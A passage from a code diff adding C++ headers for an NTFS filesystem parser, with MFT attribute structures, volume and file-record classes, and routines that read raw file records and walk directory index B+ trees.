#define ATTR_FILENAME_FLAG_NCI 0x00002000
|
||||
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
|
||||
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
|
||||
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
|
||||
|
||||
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
|
||||
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
|
||||
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
|
||||
|
||||
typedef struct tagATTR_FILE_NAME
|
||||
{
|
||||
ULONGLONG ParentRef; // File reference to the parent directory
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
ULONGLONG AllocSize; // Allocated size of the file
|
||||
ULONGLONG RealSize; // Real size of the file
|
||||
DWORD Flags; // Flags
|
||||
DWORD ER; // Used by EAs and Reparse
|
||||
BYTE NameLength; // Filename length in characters
|
||||
BYTE NameSpace; // Filename space
|
||||
WORD Name[1]; // Filename
|
||||
} ATTR_FILE_NAME;
|
||||
|
||||
|
||||
// Attribute: VOLUME_INFORMATION
|
||||
|
||||
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
|
||||
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
|
||||
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
|
||||
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
|
||||
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
|
||||
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
|
||||
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
|
||||
|
||||
typedef struct tagATTR_VOLUME_INFORMATION
|
||||
{
|
||||
BYTE Reserved1[8]; // Always 0 ?
|
||||
BYTE MajorVersion; // Major version
|
||||
BYTE MinorVersion; // Minor version
|
||||
WORD Flags; // Flags
|
||||
BYTE Reserved2[4]; // Always 0 ?
|
||||
} ATTR_VOLUME_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: INDEX_ROOT
|
||||
/******************************
|
||||
INDEX_ROOT
|
||||
---------------------
|
||||
| Index Root Header |
|
||||
---------------------
|
||||
| Index Header |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
*******************************/
|
||||
|
||||
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
|
||||
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
|
||||
|
||||
typedef struct tagATTR_INDEX_ROOT
|
||||
{
|
||||
// Index Root Header
|
||||
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
|
||||
DWORD CollRule; // Collation rule
|
||||
DWORD IBSize; // Size of index block
|
||||
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
|
||||
BYTE Padding1[3]; // Padding
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of the index entries
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding2[3]; // Padding
|
||||
} ATTR_INDEX_ROOT;
|
||||
|
||||
|
||||
// INDEX ENTRY
|
||||
|
||||
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
|
||||
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
|
||||
|
||||
typedef struct tagINDEX_ENTRY
|
||||
{
|
||||
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
|
||||
WORD Size; // Length of the index entry
|
||||
WORD StreamSize; // Length of the stream
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding[3]; // Padding
|
||||
BYTE Stream[1]; // Stream
|
||||
// VCN of the sub node in Index Allocation, Offset = Size - 8
|
||||
} INDEX_ENTRY;
|
||||
|
||||
|
||||
// INDEX BLOCK
|
||||
/******************************
|
||||
INDEX_BLOCK
|
||||
-----------------------
|
||||
| Index Block Header |
|
||||
-----------------------
|
||||
| Index Header |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| ...... |
|
||||
-----------------------
|
||||
*******************************/
|
||||
|
||||
#define INDEX_BLOCK_MAGIC 'XDNI'
|
||||
|
||||
typedef struct tagINDEX_BLOCK
|
||||
{
|
||||
// Index Block Header
|
||||
DWORD Magic; // "INDX"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
ULONGLONG VCN; // VCN of this index block in the index allocation
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of index entries
|
||||
BYTE NotLeaf; // 1 if not leaf node (has children)
|
||||
BYTE Padding[3]; // Padding
|
||||
} INDEX_BLOCK;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,989 @@
|
||||
/*
|
||||
* NTFS Volume and File Record Class
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_FILERECORD_H_CYB70289
|
||||
#define __NTFS_FILERECORD_H_CYB70289
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume forward declaration
|
||||
///////////////////////////////////////
|
||||
class CNTFSVolume
|
||||
{
|
||||
public:
|
||||
CNTFSVolume(_TCHAR volume);
|
||||
virtual ~CNTFSVolume();
|
||||
|
||||
friend class CFileRecord;
|
||||
friend class CAttrBase;
|
||||
|
||||
private:
|
||||
WORD SectorSize;
|
||||
DWORD ClusterSize;
|
||||
DWORD FileRecordSize;
|
||||
DWORD IndexBlockSize;
|
||||
ULONGLONG MFTAddr;
|
||||
HANDLE hVolume;
|
||||
BOOL VolumeOK;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
WORD Version;
|
||||
|
||||
// MFT file records ($MFT file itself) may be fragmented
|
||||
// Get $MFT Data attribute to translate FileRecord to correct disk offset
|
||||
CFileRecord *MFTRecord; // $MFT File Record
|
||||
const CAttrBase *MFTData; // $MFT Data Attribute
|
||||
|
||||
BOOL OpenVolume(_TCHAR volume);
|
||||
|
||||
public:
|
||||
__inline BOOL IsVolumeOK() const;
|
||||
__inline WORD GetVersion() const;
|
||||
__inline ULONGLONG GetRecordsCount() const;
|
||||
|
||||
__inline DWORD GetSectorSize() const;
|
||||
__inline DWORD GetClusterSize() const;
|
||||
__inline DWORD GetFileRecordSize() const;
|
||||
__inline DWORD GetIndexBlockSize() const;
|
||||
__inline ULONGLONG GetMFTAddr() const;
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
}; // CNTFSVolume
|
||||
|
||||
|
||||
////////////////////////////////////////////
|
||||
// List to hold Attributes of the same type
|
||||
////////////////////////////////////////////
|
||||
typedef class CSList<CAttrBase> CAttrList;
|
||||
|
||||
// It seems VC6.0 doesn't support template class friends
|
||||
#if _MSC_VER <= 1200
|
||||
class CAttrResident;
|
||||
class CAttrNonResident;
|
||||
template <class TYPE_RESIDENT> class CAttr_AttrList;
|
||||
#endif
|
||||
|
||||
////////////////////////////////
|
||||
// Process a single File Record
|
||||
////////////////////////////////
|
||||
class CFileRecord
|
||||
{
|
||||
public:
|
||||
CFileRecord(const CNTFSVolume *volume);
|
||||
virtual ~CFileRecord();
|
||||
|
||||
friend class CAttrBase;
|
||||
#if _MSC_VER <= 1200
|
||||
// Walk around VC6.0 compiler defect
|
||||
friend class CAttr_AttrList<CAttrResident>;
|
||||
friend class CAttr_AttrList<CAttrNonResident>;
|
||||
#else
|
||||
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
|
||||
#endif
|
||||
|
||||
private:
|
||||
const CNTFSVolume *Volume;
|
||||
FILE_RECORD_HEADER *FileRecord;
|
||||
ULONGLONG FileReference;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
DWORD AttrMask;
|
||||
CAttrList AttrList[ATTR_NUMS]; // Attributes
|
||||
|
||||
void ClearAttrs();
|
||||
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
|
||||
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
|
||||
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
|
||||
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
|
||||
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
|
||||
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
|
||||
|
||||
public:
|
||||
BOOL ParseFileRecord(ULONGLONG fileRef);
|
||||
BOOL ParseAttrs();
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
|
||||
__inline void SetAttrMask(DWORD mask);
|
||||
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
|
||||
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
|
||||
const CAttrBase* FindNextAttr(DWORD attrType) const;
|
||||
|
||||
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
|
||||
__inline ULONGLONG GetFileSize() const;
|
||||
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
|
||||
|
||||
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
|
||||
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
const CAttrBase* FindStream(_TCHAR *name = NULL);
|
||||
|
||||
__inline BOOL IsDeleted() const;
|
||||
__inline BOOL IsDirectory() const;
|
||||
__inline BOOL IsReadOnly() const;
|
||||
__inline BOOL IsHidden() const;
|
||||
__inline BOOL IsSystem() const;
|
||||
__inline BOOL IsCompressed() const;
|
||||
__inline BOOL IsEncrypted() const;
|
||||
__inline BOOL IsSparse() const;
|
||||
}; // CFileRecord
|
||||
|
||||
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
|
||||
CFileRecord::CFileRecord(const CNTFSVolume *volume)
|
||||
{
|
||||
_ASSERT(volume);
|
||||
Volume = volume;
|
||||
FileRecord = NULL;
|
||||
FileReference = (ULONGLONG)-1;
|
||||
|
||||
ClearAttrRawCB();
|
||||
|
||||
// Default to parse all attributes
|
||||
AttrMask = MASK_ALL;
|
||||
}
|
||||
|
||||
CFileRecord::~CFileRecord()
|
||||
{
|
||||
ClearAttrs();
|
||||
|
||||
if (FileRecord)
|
||||
delete FileRecord;
|
||||
}
|
||||
|
||||
// Free all CAttr_xxx
|
||||
void CFileRecord::ClearAttrs()
|
||||
{
|
||||
for (int i=0; i<ATTR_NUMS; i++)
|
||||
{
|
||||
AttrList[i].RemoveAll();
|
||||
}
|
||||
}
|
||||
|
||||
// Verify US and update sectors
|
||||
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i=0; i<sectors; i++)
|
||||
{
|
||||
sector += ((Volume->SectorSize>>1) - 1);
|
||||
if (*sector != usn)
|
||||
return FALSE; // USN error
|
||||
*sector = usarray[i]; // Write back correct data
|
||||
sector++;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Call user defined Callback routines for an attribute
|
||||
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
|
||||
{
|
||||
*bDiscard = FALSE;
|
||||
|
||||
if (AttrRawCallBack[attType])
|
||||
AttrRawCallBack[attType](ahc, bDiscard);
|
||||
else if (Volume->AttrRawCallBack[attType])
|
||||
Volume->AttrRawCallBack[attType](ahc, bDiscard);
|
||||
}
|
||||
|
||||
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
|
||||
{
|
||||
switch (ahc->Type)
|
||||
{
|
||||
case ATTR_TYPE_STANDARD_INFORMATION:
|
||||
return new CAttr_StdInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_ATTRIBUTE_LIST:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_AttrList<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_FILE_NAME:
|
||||
return new CAttr_FileName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_NAME:
|
||||
return new CAttr_VolName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_INFORMATION:
|
||||
return new CAttr_VolInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_DATA:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Data<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_Data<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ROOT:
|
||||
return new CAttr_IndexRoot(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ALLOCATION:
|
||||
return new CAttr_IndexAlloc(ahc, this);
|
||||
|
||||
case ATTR_TYPE_BITMAP:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
// Resident Bitmap may exist in a directory's FileRecord
|
||||
// or in $MFT for a very small volume in theory
|
||||
return new CAttr_Bitmap<CAttrResident>(ahc, this);
|
||||
|
||||
// Unhandled Attributes
|
||||
default:
|
||||
*bUnhandled = TRUE;
|
||||
if (ahc->NonResident)
|
||||
return new CAttrNonResident(ahc, this);
|
||||
else
|
||||
return new CAttrResident(ahc, this);
|
||||
}
|
||||
}
|
||||
|
||||
// Parse a single Attribute
|
||||
// Return False on error
|
||||
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
|
||||
{
|
||||
DWORD attrIndex = ATTR_INDEX(ahc->Type);
|
||||
if (attrIndex < ATTR_NUMS)
|
||||
{
|
||||
BOOL bDiscard = FALSE;
|
||||
UserCallBack(attrIndex, ahc, &bDiscard);
|
||||
|
||||
if (!bDiscard)
|
||||
{
|
||||
BOOL bUnhandled = FALSE;
|
||||
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
|
||||
if (attr)
|
||||
{
|
||||
if (bUnhandled)
|
||||
{
|
||||
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
|
||||
}
|
||||
AttrList[attrIndex].InsertEntry(attr);
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record
|
||||
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
|
||||
{
|
||||
FILE_RECORD_HEADER *fr = NULL;
|
||||
DWORD len;
|
||||
|
||||
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
|
||||
{
|
||||
// Take as continuous disk allocation
|
||||
LARGE_INTEGER frAddr;
|
||||
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
|
||||
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
|
||||
|
||||
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
|
||||
return FALSE;
|
||||
else
|
||||
{
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
|
||||
&& len==Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// May be fragmented $MFT
|
||||
ULONGLONG frAddr;
|
||||
frAddr = (Volume->FileRecordSize) * fileRef;
|
||||
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
|
||||
&& len == Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record, verify and patch the US (update sequence)
|
||||
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
|
||||
{
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
if (FileRecord)
|
||||
{
|
||||
delete FileRecord;
|
||||
FileRecord = NULL;
|
||||
}
|
||||
|
||||
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
|
||||
if (fr == NULL)
|
||||
{
|
||||
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
|
||||
|
||||
FileReference = (ULONGLONG)-1;
|
||||
}
|
||||
else
|
||||
{
|
||||
FileReference = fileRef;
|
||||
|
||||
if (fr->Magic == FILE_RECORD_MAGIC)
|
||||
{
|
||||
// Patch US
|
||||
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
|
||||
WORD usn = *usnaddr;
|
||||
WORD *usarray = usnaddr + 1;
|
||||
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
|
||||
{
|
||||
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
|
||||
FileRecord = fr;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Update Sequence Number error\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Invalid file record\n");
|
||||
}
|
||||
|
||||
delete fr;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Visit IndexBlocks recursivly to find a specific FileName
|
||||
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return FALSE;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Traverse SubNode recursivly in ascending order
|
||||
// Call user defined callback routine once found an subentry
|
||||
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
|
||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parse all the attributes in a File Record
|
||||
// And insert them into a link list
|
||||
BOOL CFileRecord::ParseAttrs()
|
||||
{
|
||||
_ASSERT(FileRecord);
|
||||
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
|
||||
// Visit all attributes
|
||||
|
||||
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
|
||||
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
|
||||
dataPtr += FileRecord->OffsetOfAttr;
|
||||
|
||||
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
|
||||
{
|
||||
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
|
||||
{
|
||||
if (!ParseAttr(ahc)) // Parse error
|
||||
return FALSE;
|
||||
|
||||
if (IsEncrypted() || IsCompressed())
|
||||
{
|
||||
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
dataPtr += ahc->TotalSize;
|
||||
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Install Attribute raw data CallBack routines for a single File Record
|
||||
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CFileRecord::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
// Choose attributes to handle, unwanted attributes will be discarded silently
|
||||
__inline void CFileRecord::SetAttrMask(DWORD mask)
|
||||
{
|
||||
// Standard Information and Attribute List is needed always
|
||||
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
|
||||
}
|
||||
|
||||
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
|
||||
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
|
||||
{
|
||||
_ASSERT(attrCallBack);
|
||||
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
{
|
||||
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
|
||||
{
|
||||
const CAttrBase *ab = AttrList[i].FindFirstEntry();
|
||||
while (ab)
|
||||
{
|
||||
BOOL bStop;
|
||||
bStop = FALSE;
|
||||
attrCallBack(ab, context, &bStop);
|
||||
if (bStop)
|
||||
return;
|
||||
|
||||
ab = AttrList[i].FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Find Attributes
|
||||
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
|
||||
}
|
||||
|
||||
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
|
||||
}
|
||||
|
||||
// Get File Name (First Win32 name)
|
||||
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
|
||||
{
|
||||
// A file may have several filenames
|
||||
// Return the first Win32 filename
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
while (fn)
|
||||
{
|
||||
if (fn->IsWin32Name())
|
||||
{
|
||||
int len = fn->GetFileName(buf, bufLen);
|
||||
if (len != 0)
|
||||
return len; // success or fail
|
||||
}
|
||||
|
||||
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get File Size
|
||||
__inline ULONGLONG CFileRecord::GetFileSize() const
|
||||
{
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
return fn ? fn->GetFileSize() : 0;
|
||||
}
|
||||
|
||||
// Get File Times
|
||||
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
|
||||
{
|
||||
// Standard Information attribute hold the most updated file time
|
||||
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
if (si)
|
||||
si->GetFileTime(writeTm, createTm, accessTm);
|
||||
else
|
||||
{
|
||||
writeTm->dwHighDateTime = 0;
|
||||
writeTm->dwLowDateTime = 0;
|
||||
if (createTm)
|
||||
{
|
||||
createTm->dwHighDateTime = 0;
|
||||
createTm->dwLowDateTime = 0;
|
||||
}
|
||||
if (accessTm)
|
||||
{
|
||||
accessTm->dwHighDateTime = 0;
|
||||
accessTm->dwLowDateTime = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Traverse all sub directories and files contained
|
||||
// Call user defined callback routine once found an entry
|
||||
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
|
||||
{
|
||||
_ASSERT(seCallBack);
|
||||
|
||||
// Start traversing from IndexRoot (B+ tree root node)
|
||||
|
||||
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
// Visit subnode first
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
|
||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
// Find a specific FileName from InexRoot described B+ tree
|
||||
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
// Start searching from IndexRoot (B+ tree root node)
|
||||
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return FALSE;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
